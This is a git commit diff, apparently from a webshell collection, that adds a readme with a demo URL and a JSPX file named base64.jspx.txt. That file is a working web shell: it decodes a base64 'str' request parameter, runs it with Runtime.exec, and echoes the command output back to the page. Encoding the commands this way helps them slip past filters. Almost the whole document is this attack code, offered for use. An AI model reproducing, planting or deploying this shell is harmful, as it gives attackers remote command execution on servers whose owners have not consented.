update ebase64.jspx

This commit is contained in:
tennc 2014-08-05 16:17:54 +08:00
parent 383be7e3ad
commit b1eac14490
2 changed files with 27 additions and 0 deletions

3
jspx/Ends/Readme.md Normal file
View file

@ -0,0 +1,3 @@
Author:Ends
site:<url>http://ends.cc/?paged=5<url>
'demo:http://ends.cc/webshell/base64.jspx?str=cmd'

24
jspx/Ends/base64.jspx.txt Normal file
View file

@ -0,0 +1,24 @@
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<jsp:scriptlet><![CDATA[
String tmp = pageContext.getRequest().getParameter("str");
if (tmp != null&&!"".equals(tmp)) {
try{
String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
Process p = Runtime.getRuntime().exec(str);
InputStream in = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in,"GBK"));
String brs = br.readLine();
while(brs!=null){
out.println(brs+"</br>");
brs = br.readLine();
}
}catch(Exception ex){
out.println(ex.toString());
}
}]]>
</jsp:scriptlet>
</jsp:root>